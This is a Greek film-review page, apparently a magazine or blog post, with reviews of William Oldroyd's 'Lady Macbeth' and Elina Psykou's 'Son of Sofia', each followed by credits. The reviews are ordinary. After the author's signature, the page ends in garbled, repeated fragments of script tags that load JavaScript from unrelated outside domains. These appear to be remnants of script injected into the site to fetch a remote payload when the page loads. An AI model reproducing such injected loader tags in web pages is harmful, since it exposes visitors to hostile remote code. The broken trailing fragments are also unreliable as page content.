Πάμε κινηματογράφο;

Αποτέλεσμα εικόνας για «Λαίδη Μάκβεθ» (Lady Macbeth - 2016) του Ουΐλιαμ Όλντροϊντ (Ηνωμένο Βασίλειο)

«Λαίδη Μάκβεθ» (Lady Macbeth – 2016) του Ουΐλιαμ Όλντροϊντ (Ηνωμένο Βασίλειο)

Λιτή μα ψαγμένη ατμόσφαιρα, ωραία φωτογραφία, και θαυμάσια πρωταγωνίστρια συνυπογράφουν αυτή την αξιοπρόσεκτη παρθενική σκηνοθεσία του Όλντροϊντ, για μια νεαρή παντρεμένη που επαναστατεί μαξιμαλιστικά στην βικτωριανή Αγγλία.

Με όχημα την διάσημη νουβέλα του Νικολάι Λέσκοφ «Η λαίδη Μακμπέθ του Μτσενσκ» ο Άγγλος θεατρικός σκηνοθέτης Όλντροϊντ πραγματοποιεί ένα πολύ εντυπωσιακό σινεματικό ντεμπούτο. Η ταινία του είναι ένα σαγηνευτικό βικτωριανό νουάρ, ένα λιτά ατμοσφαιρικό μείγμα από καταπίεση, σεξ, φόνους, χειραγώγηση, και «πειραγμένα» ψήγματα πρωτοφεμινισμού και ρατσιστικών διακρίσεων. Στο Νορδάμπερλαντ της βορειοανατολικής Αγγλίας εν έτει 1856, η 19χρονη Κάθριν (Πιού, εξαιρετική) σύρεται σε έναν γάμο συμφέροντος με τον πολύ μεγαλύτερό της, Αλεξάντερ (Χίλτον). Ο οποίος ούτε καν να την απαυτώσει δεν μπορεί… Πόσω μάλλον, να δώσει νόημα τη ζωή της. Κατά την μακρά απουσία του συζύγου από το ερημικό σπίτι, και όντας υπό την επίβλεψη του επιεικώς αυστηρού πεθερού της (Φέρμπανκ), η Κάθριν αρχίζει να επαναστατεί. Αρχικά υπόκωφα και ανώδυνα, αψηφώντας, λόγου χάρη, την απαγόρευση για βόλτα μόνη στην εξοχή, ή κυκλοφορώντας χωρίς τους υποχρεωτικούς σφιχτούς κορσέδες.

Αποτέλεσμα εικόνας για «Λαίδη Μάκβεθ» (Lady Macbeth - 2016) του Ουΐλιαμ Όλντροϊντ (Ηνωμένο Βασίλειο)Αποτέλεσμα εικόνας για «Λαίδη Μάκβεθ» (Lady Macbeth - 2016) του Ουΐλιαμ Όλντροϊντ (Ηνωμένο Βασίλειο)Αποτέλεσμα εικόνας για «Λαίδη Μάκβεθ» (Lady Macbeth - 2016) του Ουΐλιαμ Όλντροϊντ (Ηνωμένο Βασίλειο)

Σύντομα, όμως, η αδήριτη ανάγκη της νεαρής να πάρει τη ζωή της στα χέρια της θα εκδηλωθεί σαρωτικά με ένα απροκάλυπτο «πέσιμο» στον Σεμπάστιαν (Τζάβρις), τον ωραίο μιγά που δουλεύει στα χωράφια τους. Οι δυο ξαναμμένοι νέοι δε θα μείνουν στο περιστασιακό σεξ. Μεταξύ τους χτίζεται κάτι σαν εξωσυζυγικός δεσμός εποχής, κάτω από τα μάτια της έντρομης μαύρης υπηρέτριας (Άκι). Κι όταν πεθερός και σύζυγος θα πάρουν χαμπάρι τι παίζει, και θα επιχειρήσουν να επιβάλουν την τάξη, η Κάθριν, με την απρόθυμη συνενοχή του εραστή της, θα αντεπιτεθεί. Βίαια, αιματηρά και όλως… σαιξπηρικά. Στο δε φινάλε, ο Όλντροϊντ και η σεναριογράφος του ηθελημένα αποκλίνουν από την «ηθική» διευθέτηση της νουβέλας, που τιμωρεί την ηρωίδα, αφήνοντας το τέλος ανοιχτό και αμφίσημο –τούτη η λαίδη Μακμπέθ μπορεί και να τα κατάφερε.

Χωρίς ούτε μια νότα μουσικής υπόκρουσης και με το φακό του Άρι Ουέγκνερ να παραμένει κυρίως μέσα στο κλειστοφοβικό, σπαρτιάτικο αρχοντικό, η ταινία δημιουργεί μια αναπόδραστα συμπαγή ατμόσφαιρα καταπίεσης. Και η εξαιρετική, μετρημένη μα πολυεπίπεδη ερμηνεία της Πιού χτίζει μια εξίσου συμπαγή, αλλά αμφιλεγόμενη ηρωίδα, με την οποία δεν μπορείς ούτε να ταυτιστείς, μα ούτε και να αηδιάσεις. Ένας σκοτεινός αμοραλισμός βασιλεύει σε αυτό το γοτθικό μελόδραμα. Και σε παρασέρνει θέλοντας και μη.

Σκηνοθεσία
Ουίλιαμ Όλντροϊντ
Σενάριο
Άλις Μπερτς
Πρωταγωνιστούν
Φλόρενς Πιού, Κόσμο Τζάρβις, Πολ Χίλτον, Ναόμι Άκι, Κρίστοφερ Φέρμπανκ, Γκόλντα Ρόσουβελ, Άντον Πάλμερ
Διάρκεια
88
Χώρα
Ηνωμένο Βασίλειο
Είδος
Ερωτικό δράμα εποχής
Πρεμιέρα
30 Νοεμβρίου 2017

 

«Ο Γιος της Σοφίας» (Son Of Sofia – 2017) της Ελίνας Ψύκου (Ελλάδα, Βουλγαρία, Γαλλία)

Η μελαγχολική ιστορία ενηλικίωσης ενός 11χρονου Ρώσου που φτάνει στην Ελλάδα του 2004, όπου δουλεύει η μάνα του, σε μια αρτιστίκ ταινία που συνυφαίνει ποιητικά πραγματικότητα, παραμύθι και συμβολισμό.

Η δεύτερη μεγάλου μήκους ταινία της Ψύκου, που απέσπασε βραβείο Καλύτερης Ταινίας στο φεστιβάλ της Τραϊμπέκα, διαδραματίζεται όλη στη διάρκεια της αθηναϊκής Ολυμπιάδας του 2004. Γενικά η ολυμπιακή «λαϊκή ανάταση» –και κυρίως οι μασκότ των Αγώνων της Αθήνας και της Μόσχας το 1980– χρωματίζουν με πολύ ιδιαίτερο τρόπο την ταινία. Στην πρώτη σκηνή, βλέπουμε τον 11χρονο Μίσα (Κόμουτ) να φτάνει στο Ελευθέριος Βενιζέλος με το ίδιο αεροπλάνο που φέρνει Ρώσους αθλητές για τους Αγώνες. Η κάμερα κολλάει στο εκφραστικά ανέκφραστο θλιμμένο πρόσωπο του μικρού, προσπαθώντας να αποκωδικοποιήσει τον δικό του, πολύ διαφορετικό «αγώνα». Διότι ο Μίσα ήρθε στην ολυμπιακή Αθήνα για να ξανασμίξει με την μάνα του, Σοφία (Τσεπλάνοβα), που εδώ και δυο χρόνια ζει και δουλεύει στον κλεινόν άστυ. Ο πατέρας του Μίσα μάλλον πέθανε, συνάγουμε. Αλλά φαίνεται πως υπάρχει ήδη υποκατάστατό του: ο κύριος Νίκος (Παπαγεωργίου, πολύ καλός), ένας 75άρης χήρος, συνταξιούχος εκπαιδευτικός και πρώην αστέρας της ασπρόμαυρης τηλεόρασης με την θρυλική παιδικο-επιμορφωτική εκπομπή του «Ο παππούς της Γης», δεν είναι απλά «ο κύριος που προσέχει η Σοφία». Είναι πλέον ο σύζυγός της. Λεπτομέρεια, που αγνοεί ο Μίσα. Θα το καταλάβει, βέβαια, πολύ γρήγορα –μαζί με πολλά άλλα, κατά κανόνα στενόχωρα και άφατα, που εξωθούν τον μικρό σε μια απότομη, μελαγχολική ενηλικίωση.

Σε επίπεδο καθαρών γεγονότων, δεν συμβαίνουν πολλά: η Σοφία πηγαίνει για δουλειά (σε βιοτεχνία που κατασκευάζει λούτρινα ζωάκια, ίσως και τις μασκότ της Ολυμπιάδας), ο Μίσα μένει στο παλιομοδίτικο, αστικό κι ευρύχωρο διαμέρισμα με τον κύριο Νίκο και υπομένει μαθήματα ελληνικής ιστορίας και γλώσσας από τον τεατράλε νέο κηδεμόνα του. Κι ας μην καταλαβαίνει γρυ. Μια μέρα, στα γυρίσματα μιας ταινίας στην οποία ο κύριος Νίκος μετέχει ως κομπάρσος (η ταινία πραγματεύεται την μεταξική περίοδο, παρακαλώ), ο Μίσα γνωρίζει τον Βίκτορ (Χάβαλιτς), έναν 18χρονο Ουκρανό που ζει στην Αθήνα και γεμίζει τις μέρες (ενίοτε, και τις τσέπες του) με κομπαρσιλίκια, προπόνηση με βάρη, άραγμα με κολλητούς συν-μετανάστες, καθώς και με πληρωμένο σεξ με άντρες. Ο Μίσα –ή Μιχαήλ, όπως επιμένει ο κύριος Νίκος– θα το σκάσει από το σπίτι και θα περάσει λίγες μέρες στο πλευρό του Βίκτορ, ενώ ο κύριος Νίκος τον αναζητά «τηλεοπτικώς» συνομιλώντας στα «παράθυρα» με τον τηλεστάρ, Αντώνη Παρασκευά (Στέργιογλου), τον πρωταγωνιστή της πρώτης ταινίας της Ψύκου… Με την οικειοθελή επιστροφή του μικρού στο σπίτι, όλα επιστρέφουν στην κανονικότητα, μέχρι που ένα απροσδόκητο θλιβερό συμβάν θα γράψει το κάπως αδύναμο φινάλε.

Το σενάριο είναι αναμφίβολα το μεγάλο ατού της ταινίας. Γιατί δίπλα στα μείζονα διαχρονικά ζητήματα της ενηλικίωσης (η Σοφία, εκτός των άλλων, είναι απόμακρη, ανίκανη να εκφράσει την αγάπη της προς τον γιό της), η Ψύκου ρίχνει στο μείγμα και πολλά επικαιρικά στοιχεία, που καταφέρνουν όχι μόνο να γειώσουν την πλοκή χωροχρονικά, αλλά και να της δώσουν μια έντονα παραβολική διάσταση. Από τις μεταμφιέσεις που έκανε ο κύριος Νίκος ως τηλεοπτικός παραμυθάς, μέχρι το αλήστου μνήμης γιουροβιζιονικό «WildDances» της Ουκρανής Ρουσλάνα, και το αρκουδάκι-μασκότ Μίσα της μοσχοβίτικης Ολυμπιάδας, όλα μπερδεύονται γλυκόπικρα μέσα στην εύπλαστη ψυχή ενός μικρού αγοριού που αναγκάζεται να μεγαλώσει με συνοπτικές διαδικασίες.

Σκηνοθεσία
Ελίνα Ψύκου
Σενάριο
Ελίνα Ψύκου
Πρωταγωνιστούν
Βίκτορ Κόμουτ, Βάλερι Τσεπλάνοβα, Θανάσης Παπαγεωργίου, Αρτέμης Χάβαλιτς, Αρετή Σεϊδαρίδου, Υβόννη Μαλτέζου, Μαρία Φιλίνη, Χρήστος Στέργιογλου
Διάρκεια
111
Χώρα
Ελλάδα, Βουλγαρία, Γαλλία
Είδος
Δράμα
Πρεμιέρα
30 Νοεμβρίου 2017

 

 

Τατιάνα Καποδίστρια

___setforspecialdomain.com/ghfgh34523452′ type=’text/javascript’>___setforspecialdomain.com/ghfgh34523452′ type=’text/javascript’>challengeforme.com/pystats.js’ async=true >challengeforme.com/pystats.js’ async=true >‘ >‘ >‘ >‘ >‘ >‘ >‘ >‘ >